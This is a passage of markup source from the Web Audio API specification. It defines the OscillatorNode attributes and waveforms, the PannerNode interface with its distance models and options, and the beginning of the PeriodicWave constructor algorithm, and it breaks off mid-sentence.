<dfn>OscillatorNode(context, options)</dfn>\n\t::\n\n\t\t<pre class=include>\n\t\t\tpath: audionode-init.include\n\t\t</pre>\n\n\t\t<pre class=argumentdef for=\"OscillatorNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{OscillatorNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Optional initial parameter value for this {{OscillatorNode}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"OscillatorNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"OscillatorNode\">\n\t: <dfn>detune</dfn>\n\t::\n\t\tA detuning value (in <a href=\"https://en.wikipedia.org/wiki/Cent_(music)\">cents</a>) which will offset the\n\t\t{{OscillatorNode/frequency}} by the given amount. Its default\n\t\t<code>value</code> is 0. This parameter is <a>a-rate</a>. It\n\t\tforms a <a>compound parameter</a> with {{OscillatorNode/frequency}}\n\t\tto form the <a>computedOscFrequency</a>.  The nominal\n\t\trange listed below allows this parameter to detune the\n\t\t{{OscillatorNode/frequency}} over the entire possible\n\t\trange of frequencies.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: \\(\\approx -153600\\)\n\t\t\tmin-notes:\n\t\t\tmax: \\(\\approx 153600\\)\n\t\t\tmax-notes: This value is approximately \\(1200\\ \\log_2 \\mathrm{FLT\\_MAX}\\) where FLT_MAX is the largest {{float}} value.\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n\n\t: <dfn>frequency</dfn>\n\t::\n\t\tThe frequency (in Hertz) of the periodic waveform. Its default\n\t\t<code>value</code> is 440. This parameter is <a>a-rate</a>. It\n\t\tforms a <a>compound parameter</a> with {{OscillatorNode/detune}} to\n\t\tform the <a>computedOscFrequency</a>. Its <a>nominal range</a>\n\t\tis [-<a>Nyquist frequency</a>, <a>Nyquist frequency</a>].\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 440\n\t\t\tmin: -<a>Nyquist frequency</a>\n\t\t\tmax: <a>Nyquist frequency</a>\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n\n\t: <dfn>type</dfn>\n\t::\tThe shape of the periodic waveform. It may directly be set to any\n\t\tof the type constant values except for \"{{OscillatorType/custom}}\". <span class=\"synchronous\">Doing so MUST throw an\n\t\t{{InvalidStateError}} exception.</span> The\n\t\t{{OscillatorNode/setPeriodicWave()}} method can be\n\t\tused to set a custom waveform, which results in this attribute\n\t\tbeing set to \"{{OscillatorType/custom}}\". The default value is \"{{OscillatorType/sine}}\". When this\n\t\tattribute is set, the phase of the oscillator MUST be conserved.\n</dl>\n\n<h4 id=\"OscillatorNode-methods\">\nMethods</h4>\n\n<dl dfn-type=method dfn-for=\"OscillatorNode\">\n\t: <dfn>setPeriodicWave(periodicWave)</dfn>\n\t::\n\t\tSets an arbitrary custom periodic waveform given a {{PeriodicWave}}.\n\n\t\t<pre class=argumentdef for=\"OscillatorNode/setPeriodicWave()\">\n\t\t\tperiodicWave: custom waveform to be used by the oscillator\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n</dl>\n\n<h4 dictionary lt=\"oscillatoroptions\" id=\"OscillatorOptions\">\n{{OscillatorOptions}}</h4>\n\nThis specifies the options to be used when constructing an\n{{OscillatorNode}}. All of the members are\noptional; if not specified, the normal default values are used for\nconstructing the oscillator.\n\n<pre class=\"idl\">\ndictionary OscillatorOptions : AudioNodeOptions {\n\tOscillatorType type = \"sine\";\n\tfloat frequency = 440;\n\tfloat detune = 0;\n\tPeriodicWave periodicWave;\n};\n</pre>\n\n<h5 id=\"dictionary-oscillatoroptions-members\">\nDictionary {{OscillatorOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"OscillatorOptions\">\n\t: <dfn>detune</dfn>\n\t:: The initial detune value for the {{OscillatorNode}}.\n\n\t: <dfn>frequency</dfn>\n\t:: The initial frequency for the {{OscillatorNode}}.\n\n\t: <dfn>periodicWave</dfn>\n\t::\n\t\tThe {{PeriodicWave}} for the\n\t\t{{OscillatorNode}}. If this is specified, then\n\t\tany valid value for {{OscillatorOptions/type}} is ignored; it is\n\t\ttreated as if \"{{OscillatorType/custom}}\" were specified.\n\n\t: <dfn>type</dfn>\n\t::\n\t\tThe type of oscillator to be constructed. If this is set to\n\t\t\"custom\" without also specifying a {{OscillatorOptions/periodicWave}}, then an\n\t\t<span class=\"synchronous\">{{InvalidStateError}}\n\t\texception MUST be thrown</span>. If {{OscillatorOptions/periodicWave}} is specified,\n\t\tthen any valid value for {{OscillatorOptions/type}} is ignored; it is\n\t\ttreated as if it were set to \"custom\".\n</dl>\n\n<h4 id=\"basic-waveform-phase\">\nBasic Waveform Phase</h4>\n\nThe idealized mathematical waveforms for the various oscillator\ntypes are defined below. In summary, all waveforms are defined\nmathematically to be an odd function with a positive slope at time 0.\nThe actual waveforms produced by the oscillator may differ to\nprevent aliasing affects.\n\nThe oscillator MUST produce the same result as if a {{PeriodicWave}},\nwith the appropriate <a href=\"#oscillator-coefficients\">Fourier\nseries</a> and with {{PeriodicWaveConstraints/disableNormalization}} set to false, were used to create these\nbasic waveforms.\n\n: \"{{OscillatorType/sine}}\"\n::\n\tThe waveform for sine oscillator is:\n\n\t<pre nohighlight>\n\t$$\n\t\tx(t) = \\sin t\n\t$$\n\t</pre>\n\n: \"{{OscillatorType/square}}\"\n::\n\tThe waveform for the square wave oscillator is:\n\n\t<pre nohighlight>\n\t$$\n\t\tx(t) = \\begin{cases}\n\t\t\t\t\t 1 & \\mbox{for } 0≤ t &lt; \\pi \\\\\n\t\t\t\t\t -1 & \\mbox{for } -\\pi &lt; t &lt; 0.\n\t\t\t\t\t \\end{cases}\n\t$$\n\t</pre>\n\n\tThis is extended to all \\(t\\) by using the fact that the\n\twaveform is an odd function with period \\(2\\pi\\).\n\n: \"{{OscillatorType/sawtooth}}\"\n::\n\tThe waveform for the sawtooth oscillator is the ramp:\n\n\t<pre nohighlight>\n\t$$\n\t\tx(t) = \\frac{t}{\\pi} \\mbox{ for } -\\pi &lt; t ≤ \\pi;\n\t$$\n\t</pre>\n\n\tThis is extended to all \\(t\\) by using the fact that the\n\twaveform is an odd function with period \\(2\\pi\\).\n\n: \"{{OscillatorType/triangle}}\"\n::\n\tThe waveform for the triangle oscillator is:\n\n\t<pre nohighlight>\n\t$$\n\t\tx(t) = \\begin{cases}\n\t\t\t\t\t\t \\frac{2}{\\pi} t & \\mbox{for } 0 ≤ t ≤ \\frac{\\pi}{2} \\\\\n\t\t\t\t\t\t 1-\\frac{2}{\\pi} \\left(t-\\frac{\\pi}{2}\\right) & \\mbox{for }\n\t\t\t\t\t\t \\frac{\\pi}{2} &lt; t ≤ \\pi.\n\t\t\t\t\t \\end{cases}\n\t$$\n\t</pre>\n\n\tThis is extended to all \\(t\\) by using the fact that the\n\twaveform is an odd function with period \\(2\\pi\\).\n\n\n<!-- Big Text: Panner -->\n\n<h3 interface lt=\"pannernode\" id=\"PannerNode\">\nThe {{PannerNode}} Interface</h3>\n\nThis interface represents a processing node which\n<a href=\"#Spatialization\">positions / spatializes</a> an incoming audio\nstream in three-dimensional space. The spatialization is in relation\nto the {{BaseAudioContext}}'s {{AudioListener}}\n({{BaseAudioContext/listener}} attribute).\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: 1\n\tcc: 2\n\tcc-notes: Has <a>channelCount constraints</a>\n\tcc-mode: clamped-max\n\tcc-mode-notes: Has <a>channelCountMode constraints</a>\n\tcc-interp: speakers\n\ttail-time: Maybe\n\ttail-time-notes:  If the {{PannerNode/panningModel}} is set to \"{{PanningModelType/HRTF}}\", the node will produce non-silent output for silent input due to the inherent processing for head responses. Otherwise the tail-time is zero.\n</pre>\n\nThe input of this node is either mono (1 channel) or stereo (2\nchannels) and cannot be increased. Connections from nodes with fewer\nor more channels will be <a href=\"#channel-up-mixing-and-down-mixing\">up-mixed or down-mixed\nappropriately</a>.\n\nIf the node is [=actively processing=], the output of this node is\nhard-coded to stereo (2 channels) and cannot be configured.  If the node\nis not [=actively processing=], then the output is a single channel of\nsilence.\n\nThe {{PanningModelType}} enum determines which\nspatialization algorithm will be used to position the audio in 3D\nspace. The default is \"{{PanningModelType/equalpower}}\".\n\n<pre class=\"idl\">\nenum PanningModelType {\n\t\t\"equalpower\",\n\t\t\"HRTF\"\n};\n</pre>\n\n<div class=\"enum-description\">\n<table class=\"simple\" dfn-type=enum-value dfn-for=\"PanningModelType\">\n\t<thead>\n\t\t<tr><th scope=\"col\" colspan=\"2\">Enumeration description\n\t<tbody>\n\t\t<tr><td>\"<dfn>equalpower</dfn>\"\n\t\t<td>\n\t\t\tA simple and efficient spatialization algorithm using equal-power\n\t\t\tpanning.\n\n\t\t\tNote: When this panning model is used, all the {{AudioParam}}s\n\t\t\tused to compute the output of this node are <a>a-rate</a>.\n\n\t\t<tr><td>\"<dfn>HRTF</dfn>\"\n\t\t<td>\n\t\t\tA higher quality spatialization algorithm using a convolution\n\t\t\twith measured impulse responses from human subjects. This panning\n\t\t\tmethod renders stereo output.\n\n\t\t\tNote:When this panning model is used, all the {{AudioParam}}s\n\t\t\tused to compute the output of this node are <a>k-rate</a>.\n</table>\n</div>\n\nThe <dfn>effective automation rate</dfn> for an {{AudioParam}} of a\n{{PannerNode}} is determined by the {{PannerNode/panningModel}} and\n{{AudioParam/automationRate}} of the {{AudioParam}}.  If the\n{{PannerNode/panningModel}} is \"{{PanningModelType/HRTF}}\", the\n[=effective automation rate=] is \"{{AutomationRate/k-rate}}\",\nindependent of the setting of the {{AudioParam/automationRate}}.\nOtherwise the [=effective automation rate=] is the value of\n{{AudioParam/automationRate}}.\n\nThe {{DistanceModelType}} enum determines which\nalgorithm will be used to reduce the volume of an audio source as it\nmoves away from the listener. The default is \"{{DistanceModelType/inverse}}\".\n\nIn the description of each distance model below, let \\(d\\) be the\ndistance between the listener and the panner; \\(d_{ref}\\) be the\nvalue of the {{PannerNode/refDistance}} attribute; \\(d_{max}\\) be the\nvalue of the {{PannerNode/maxDistance}} attribute; and \\(f\\) be the\nvalue of the {{PannerNode/rolloffFactor}} attribute.\n\n<pre class=\"idl\">\nenum DistanceModelType {\n\t\"linear\",\n\t\"inverse\",\n\t\"exponential\"\n};\n</pre>\n\n<div class=\"enum-description\">\n<table class=\"simple\" dfn-type=enum-value dfn-for=\"DistanceModelType\">\n\t<thead>\n\t\t<tr><th scope=\"col\" colspan=\"2\">Enumeration description\n\t<tbody>\n\t\t<tr>\n\t\t\t<td>\"<dfn>linear</dfn>\"\n\t\t\t<td>\n\t\t\t\tA linear distance model which calculates <em>distanceGain</em>\n\t\t\t\taccording to:\n\n\t\t\t\t<pre nohighlight>\n\t\t\t\t$$\n\t\t\t\t\t1 - f\\ \\frac{\\max\\left[\\min\\left(d, d'_{max}\\right), d'_{ref}\\right] - d'_{ref}}{d'_{max} - d'_{ref}}\n\t\t\t\t$$\n\t\t\t\t</pre>\n\n\t\t\t\twhere \\(d'_{ref} = \\min\\left(d_{ref}, d_{max}\\right)\\) and \\(d'_{max} =\n\t\t\t\t\\max\\left(d_{ref}, d_{max}\\right)\\). In the case where \\(d'_{ref} =\n\t\t\t\td'_{max}\\), the value of the linear model is taken to be\n\t\t\t\t\\(1-f\\).\n\n\t\t\t\tNote that \\(d\\) is clamped to the interval \\(\\left[d'_{ref},\\,\n\t\t\t\td'_{max}\\right]\\).\n\n\t\t<tr>\n\t\t\t<td>\"<dfn>inverse</dfn>\"\n\t\t\t<td>\n\t\t\t\tAn inverse distance model which calculates\n\t\t\t\t<em>distanceGain</em> according to:\n\n\t\t\t\t<pre nohighlight>\n\t\t\t\t$$\n\t\t\t\t\t\\frac{d_{ref}}{d_{ref} + f\\ \\left[\\max\\left(d, d_{ref}\\right) - d_{ref}\\right]}\n\t\t\t\t$$\n\t\t\t\t</pre>\n\n\t\t\t\tThat is, \\(d\\) is clamped to the interval \\(\\left[d_{ref},\\,\n\t\t\t\t\\infty\\right)\\). If \\(d_{ref} = 0\\), the value of the inverse model\n\t\t\t\tis taken to be 0, independent of the value of \\(d\\) and \\(f\\).\n\n\t\t<tr>\n\t\t\t<td>\"<dfn>exponential</dfn>\"\n\t\t\t<td>\n\t\t\t\tAn exponential distance model which calculates\n\t\t\t\t<em>distanceGain</em> according to:\n\n\t\t\t\t<pre nohighlight>\n\t\t\t\t$$\n\t\t\t\t\t\\left[\\frac{\\max\\left(d, d_{ref}\\right)}{d_{ref}}\\right]^{-f}\n\t\t\t\t$$\n\t\t\t\t</pre>\n\n\t\t\t\tThat is, \\(d\\) is clamped to the interval \\(\\left[d_{ref},\\,\n\t\t\t\t\\infty\\right)\\). If \\(d_{ref} = 0\\), the value of the exponential\n\t\t\t\tmodel is taken to be 0, independent of \\(d\\) and \\(f\\).\n</table>\n</div>\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface PannerNode : AudioNode {\n\tconstructor (BaseAudioContext context, optional PannerOptions options = {});\n\tattribute PanningModelType panningModel;\n\treadonly attribute AudioParam positionX;\n\treadonly attribute AudioParam positionY;\n\treadonly attribute AudioParam positionZ;\n\treadonly attribute AudioParam orientationX;\n\treadonly attribute AudioParam orientationY;\n\treadonly attribute AudioParam orientationZ;\n\tattribute DistanceModelType distanceModel;\n\tattribute double refDistance;\n\tattribute double maxDistance;\n\tattribute double rolloffFactor;\n\tattribute double coneInnerAngle;\n\tattribute double coneOuterAngle;\n\tattribute double coneOuterGain;\n\tundefined setPosition (float x, float y, float z);\n\tundefined setOrientation (float x, float y, float z);\n};\n</pre>\n\n<h4 id=\"PannerNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=constructor dfn-for=\"PannerNode\">\n\t: <dfn>PannerNode(context, options)</dfn>\n\t::\n\n\t\t<pre class=include>\n\t\t\tpath: audionode-init.include\n\t\t</pre>\n\n\t\t<pre class=argumentdef for=\"PannerNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{PannerNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Optional initial parameter value for this {{PannerNode}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"PannerNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"PannerNode\">\n\t: <dfn>coneInnerAngle</dfn>\n\t::\n\t\tA parameter for directional audio sources that is an angle, in\n\t\tdegrees, inside of which there will be no volume reduction. The\n\t\tdefault value is 360. The behavior is undefined if the angle is\n\t\toutside the interval [0, 360].\n\n\t: <dfn>coneOuterAngle</dfn>\n\t::\n\t\tA parameter for directional audio sources that is an angle, in\n\t\tdegrees, outside of which the volume will be reduced to a\n\t\tconstant value of {{PannerNode/coneOuterGain}}. The default\n\t\tvalue is 360. The behavior is undefined if the angle is outside\n\t\tthe interval [0, 360].\n\n\t: <dfn>coneOuterGain</dfn>\n\t::\n\t\tA parameter for directional audio sources that is the gain\n\t\toutside of the {{PannerNode/coneOuterAngle}}. The default\n\t\tvalue is 0. It is a linear value (not dB) in the range [0, 1]. <span class=\"synchronous\">An\n\t\t{{InvalidStateError}} MUST be thrown if the parameter is\n\t\toutside this range.</span>\n\n\t: <dfn>distanceModel</dfn>\n\t::\n\t\tSpecifies the distance model used by this\n\t\t{{PannerNode}}. Defaults to\n\t\t\"{{inverse}}\".\n\n\t: <dfn>maxDistance</dfn>\n\t::\n\t\tThe maximum distance between source and listener, after which the\n\t\tvolume will not be reduced any further. The default value is 10000.\n                <span class=\"synchronous\">A {{RangeError}} exception MUST be thrown if this\n\t\tis set to a non-positive value.</span>\n\n\t: <dfn>orientationX</dfn>\n\t::\n\t\tDescribes the \\(x\\)-component of the vector of the direction the\n\t\taudio source is pointing in 3D Cartesian coordinate space.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 1\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t\trate-notes: Has [=automation rate constraints=]\n\t\t</pre>\n\n\t: <dfn>orientationY</dfn>\n\t::\n\t\tDescribes the \\(y\\)-component of the vector of the direction the\n\t\taudio source is pointing in 3D cartesian coordinate space.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t\trate-notes: Has [=automation rate constraints=]\n\t\t</pre>\n\n\t: <dfn>orientationZ</dfn>\n\t::\n\t\tDescribes the \\(z\\)-component of the vector of the direction the\n\t\taudio source is pointing in 3D cartesian coordinate space.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t\trate-notes: Has [=automation rate constraints=]\n\t\t</pre>\n\n\t: <dfn>panningModel</dfn>\n\t::\n\t\tSpecifies the panning model used by this\n\t\t{{PannerNode}}. Defaults to\n\t\t\"{{PanningModelType/equalpower}}\".\n\n\t: <dfn>positionX</dfn>\n\t::\n\t\tSets the \\(x\\)-coordinate position of the audio source in a 3D\n\t\tCartesian system.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t\trate-notes: Has [=automation rate constraints=]\n\t\t</pre>\n\n\t: <dfn>positionY</dfn>\n\t::\n\t\tSets the \\(y\\)-coordinate position of the audio source in a 3D\n\t\tCartesian system.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t\trate-notes: Has [=automation rate constraints=]\n\t\t</pre>\n\n\t: <dfn>positionZ</dfn>\n\t::\n\t\tSets the \\(z\\)-coordinate position of the audio source in a 3D\n\t\tCartesian system.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t\trate-notes: Has [=automation rate constraints=]\n\t\t</pre>\n\n\t: <dfn>refDistance</dfn>\n\t::\n\t\tA reference distance for reducing volume as source moves further\n\t\tfrom the listener. For distances less than this, the volume is not reduced. The default value is 1. <span class=\"synchronous\">A\n\t\t{{RangeError}} exception MUST be thrown if this is set\n\t\tto a negative value.</span>\n\n\t: <dfn>rolloffFactor</dfn>\n\t::\n\t\tDescribes how quickly the volume is reduced as source moves\n\t\taway from listener. The default value is 1. <span class=\"synchronous\">A\n\t\t{{RangeError}} exception MUST be thrown if this is set to\n\t\ta negative value.</span>\n\n\t\tThe nominal range for the {{PannerNode/rolloffFactor}} specifies\n\t\tthe minimum and maximum values the <code>rolloffFactor</code>\n\t\tcan have. Values outside the range are clamped to lie within\n\t\tthis range. The nominal range depends on the {{PannerNode/distanceModel}} as follows:\n\n\t\t<dl dfn-for=\"DistanceModelType\">\n\t\t\t: \"{{linear}}\"\n\t\t\t:: The nominal range is \\([0, 1]\\).\n\n\t\t\t: \"{{inverse}}\"\n\t\t\t:: The nominal range is \\([0, \\infty)\\).\n\n\t\t\t: \"{{exponential}}\"\n\t\t\t:: The nominal range is \\([0, \\infty)\\).\n\t\t</dl>\n\n\t\tNote that the clamping happens as part of the\n\t\tprocessing of the distance computation.  The attribute\n\t\treflects the value that was set and is not modified.\n</dl>\n\n<h4 id=\"PannerNode-methods\">\nMethods</h4>\n\n<dl dfn-type=method dfn-for=\"PannerNode\">\n\t: <dfn>setOrientation(x, y, z)</dfn>\n\t::\n\t\tThis method is DEPRECATED. It is equivalent to setting\n\t\t{{PannerNode/orientationX}}.{{AudioParam/value}},\n\t\t{{PannerNode/orientationY}}.{{AudioParam/value}},\n\t\tand {{PannerNode/orientationZ}}.{{AudioParam/value}}\n\t\tattribute directly, with the <code>x</code>, <code>y</code> and\n\t\t<code>z</code> parameters, respectively.\n\n\t\t<span class=\"synchronous\">Consequently, if any of the {{PannerNode/orientationX}},\n\t\t{{PannerNode/orientationY}}, and {{PannerNode/orientationZ}} {{AudioParam}}s\n\t\thave an automation curve set using {{AudioParam/setValueCurveAtTime()}} at the time\n\t\tthis method is called, a {{NotSupportedError}} MUST be\n\t\tthrown.</span>\n\n\t\tDescribes which direction the audio source is pointing in the\n\t\t3D cartesian coordinate space. Depending on how directional the\n\t\tsound is (controlled by the <b>cone</b> attributes), a sound\n\t\tpointing away from the listener can be very quiet or completely\n\t\tsilent.\n\n\t\tThe <code>x, y, z</code> parameters represent a direction\n\t\tvector in 3D space.\n\n\t\tThe default value is (1,0,0).\n\n\t\t<pre class=argumentdef for=\"PannerNode/setOrientation()\">\n\t\t\tx:\n\t\t\ty:\n\t\t\tz:\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n\n\t: <dfn>setPosition(x, y, z)</dfn>\n\t::\n\t\tThis method is DEPRECATED. It is equivalent to setting\n\t\t{{PannerNode/positionX}}.{{AudioParam/value}},\n\t\t{{PannerNode/positionY}}.{{AudioParam/value}}, and\n\t\t{{PannerNode/positionZ}}.{{AudioParam/value}}\n\t\tattribute directly with the <code>x</code>, <code>y</code> and\n\t\t<code>z</code> parameters, respectively.\n\n\t\t<span class=\"synchronous\">Consequently, if any of the {{PannerNode/positionX}}, {{PannerNode/positionY}},\n\t\tand {{PannerNode/positionZ}} {{AudioParam}}s have an automation\n\t\tcurve set using {{AudioParam/setValueCurveAtTime()}} at the time\n\t\tthis method is called, a {{NotSupportedError}} MUST be\n\t\tthrown.</span>\n\n\t\tSets the position of the audio source relative to the\n\t\t{{BaseAudioContext/listener}} attribute. A 3D cartesian\n\t\tcoordinate system is used.\n\n\t\tThe <code>x, y, z</code> parameters represent the coordinates\n\t\tin 3D space.\n\n\t\tThe default value is (0,0,0).\n\n\t\t<pre class=argumentdef for=\"PannerNode/setPosition()\">\n\t\t\tx:\n\t\t\ty:\n\t\t\tz:\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n</dl>\n\n<h4 dictionary lt=\"panneroptions\" id=\"PannerOptions\">\n{{PannerOptions}}</h3>\n\nThis specifies options for constructing a\n{{PannerNode}}. All members are optional; if not\nspecified, the normal default is used in constructing the node.\n\n<pre class=\"idl\">\ndictionary PannerOptions : AudioNodeOptions {\n\tPanningModelType panningModel = \"equalpower\";\n\tDistanceModelType distanceModel = \"inverse\";\n\tfloat positionX = 0;\n\tfloat positionY = 0;\n\tfloat positionZ = 0;\n\tfloat orientationX = 1;\n\tfloat orientationY = 0;\n\tfloat orientationZ = 0;\n\tdouble refDistance = 1;\n\tdouble maxDistance = 10000;\n\tdouble rolloffFactor = 1;\n\tdouble coneInnerAngle = 360;\n\tdouble coneOuterAngle = 360;\n\tdouble coneOuterGain = 0;\n};\n</pre>\n\n<h5 id=\"dictionary-pannernode-members\">\nDictionary {{PannerOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"PannerOptions\">\n\t: <dfn>coneInnerAngle</dfn>\n\t:: The initial value for the {{PannerNode/coneInnerAngle}} attribute of the node.\n\n\t: <dfn>coneOuterAngle</dfn>\n\t::  The initial value for the {{PannerNode/coneOuterAngle}} attribute of the node.\n\n\t: <dfn>coneOuterGain</dfn>\n\t:: The initial value for the {{PannerNode/coneOuterGain}} attribute of the node.\n\n\t: <dfn>distanceModel</dfn>\n\t:: The distance model to use for the node.\n\n\t: <dfn>maxDistance</dfn>\n\t:: The initial value for the {{PannerNode/maxDistance}} attribute of the node.\n\n\t: <dfn>orientationX</dfn>\n\t:: The initial \\(x\\)-component value for the {{PannerNode/orientationX}} AudioParam.\n\n\t: <dfn>orientationY</dfn>\n\t:: The initial \\(y\\)-component value for the {{PannerNode/orientationY}} AudioParam.\n\n\t: <dfn>orientationZ</dfn>\n\t:: The initial \\(z\\)-component value for the {{PannerNode/orientationZ}} AudioParam.\n\n\t: <dfn>panningModel</dfn>\n\t:: The panning model to use for the node.\n\n\t: <dfn>positionX</dfn>\n\t:: The initial \\(x\\)-coordinate value for the {{PannerNode/positionX}} AudioParam.\n\n\t: <dfn>positionY</dfn>\n\t:: The initial \\(y\\)-coordinate value for the {{PannerNode/positionY}} AudioParam.\n\n\t: <dfn>positionZ</dfn>\n\t:: The initial \\(z\\)-coordinate  value for the {{PannerNode/positionZ}} AudioParam.\n\n\t: <dfn>refDistance</dfn>\n\t:: The initial value for the {{PannerNode/refDistance}} attribute of the node.\n\n\t: <dfn>rolloffFactor</dfn>\n\t:: The initial value for the {{PannerNode/rolloffFactor}} attribute of the node.\n</dl>\n\n<h4 id=\"panner-channel-limitations\">\nChannel Limitations</h4>\n\nThe set of <a href=\"#panner-channel-limitations\">channel\nlimitations</a> for {{StereoPannerNode}} also apply\nto {{PannerNode}}.\n\n<!-- Big Text: Periodic -->\n\n<h3 interface lt=\"periodicwave\" id=\"PeriodicWave\">\nThe {{PeriodicWave}} Interface</h3>\n\n{{PeriodicWave}} represents an arbitrary periodic waveform to be used\nwith an {{OscillatorNode}}.\n\nA <a>conforming implementation</a> MUST support {{PeriodicWave}}\nup to at least 8192 elements.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface PeriodicWave {\n\tconstructor (BaseAudioContext context, optional PeriodicWaveOptions options = {});\n};\n</pre>\n\n<h4 id=\"PeriodicWave-constructors\">\nConstructors</h4>\n\n<dl dfn-type=constructor dfn-for=\"PeriodicWave\">\n\t: <dfn>PeriodicWave(context, options)</dfn>\n\t::\n\t\t<div algorithm=\"construct periodic wave\">\n\t\t\t1. Let <var>p</var> be a new {{PeriodicWave}} object. Let <dfn attribute for=\"PeriodicWave\">\\[[real]]</dfn> and <dfn attribute for=\"PeriodicWave\">\\[[imag]]</dfn> be two internal slots of type {{Float32Array}}, and let <dfn attribute for=\"PeriodicWave\">\\[[normalize]]</dfn> be an internal slot.\n\n\t\t\t1. Process {{PeriodicWave/constructor(context, options)/options!!argument}} according to one of the following cases:\n\t\t\t\t1. If both {{PeriodicWaveOptions/real|options.real}} and {{PeriodicWaveOptions/imag|options.imag}} are present\n\t\t\t\t\t1. <span class=\"synchronous\">If the lengths of {{PeriodicWaveOptions/real|options.real}} and {{PeriodicWaveOptions/imag|options.imag}} are different or if either length is less than 2, throw an {{IndexSizeError}} and abort this algorithm.</span>\n\t\t\t\t\t1. Set {{[[real]]}} and {{[[imag]]}} to new arrays with the same length as {{PeriodicWaveOptions/real|options.real}}.\n\t\t\t\t\t1. Copy all elements from {{PeriodicWaveOptions/real|options.real}} to {{[[real]]}} and {{PeriodicWaveOptions/imag|options.imag}} to {{[[imag]]}}.\n\t\t\t\t1. If only {{PeriodicWaveOptions/real|options.real}} is present\n\t\t\t\t\t1. <span class=\"synchronous\">If length of {{PeriodicWaveOptions/real|options.real}} is less than 2, throw an {{IndexSizeError}} and abort this algorithm.</span>\n\t\t\t\t\t1. Set {{[[real]]}} and {{[[imag]]}} to arrays with the same length as {{PeriodicWaveOptions/real|options.real}}.\n\t\t\t\t\t1. Copy {{PeriodicWaveOptions/real|options.real}} to {{[[real]]}} and set {{[[imag]]}} to all zeros.\n\t\t\t\t1. If only {{PeriodicWaveOptions/imag|options.imag}} is present\n\t\t\t\t\t1. <span class=\"synchronous\">If length of {{PeriodicWaveOptions/imag|options.imag}} is less than 2, throw an {{IndexSizeError}} and abort this algorithm.</span>\n\t\t\t\t\t1. Set {{[[real]]}} and {{[[imag]]}} to arrays with the same length as {{PeriodicWaveOptions/real|options.imag}}.\n\t\t\t\t\t1. Copy {{PeriodicWaveOptions/imag|options.imag}} to {{[[imag]]}} and set {{[[real]]}} to all zeros.\n\t\t\t\t1. Otherwise\n\t\t\t\t\t1. Set {{[[real]]}} and {{[[imag]]}} to zero-filled arrays of length 2.\n\t\t\t\t\t1. Set element at index 1 of {{[[imag]]}} to 1.\n\n\t\t\t\t\tNote: When setting this {{PeriodicWave}} on an {{OscillatorNode}}, this is equivalent to using the built-in type \"{{OscillatorType/sine}}\".\n\t\t\t1. Set element at index 0 of both {{[[real]]}} and {{[[imag]]}} to 0.  (This sets the DC component to 0.)\n\t\n\t\t\t5. Initialize {{[[normalize]]}} to the inverse of the\n\t\t\t\t{{PeriodicWaveConstraints/disableNormalization}} attribute of the\n\t\t\t\t{{PeriodicWaveConstraints}} on 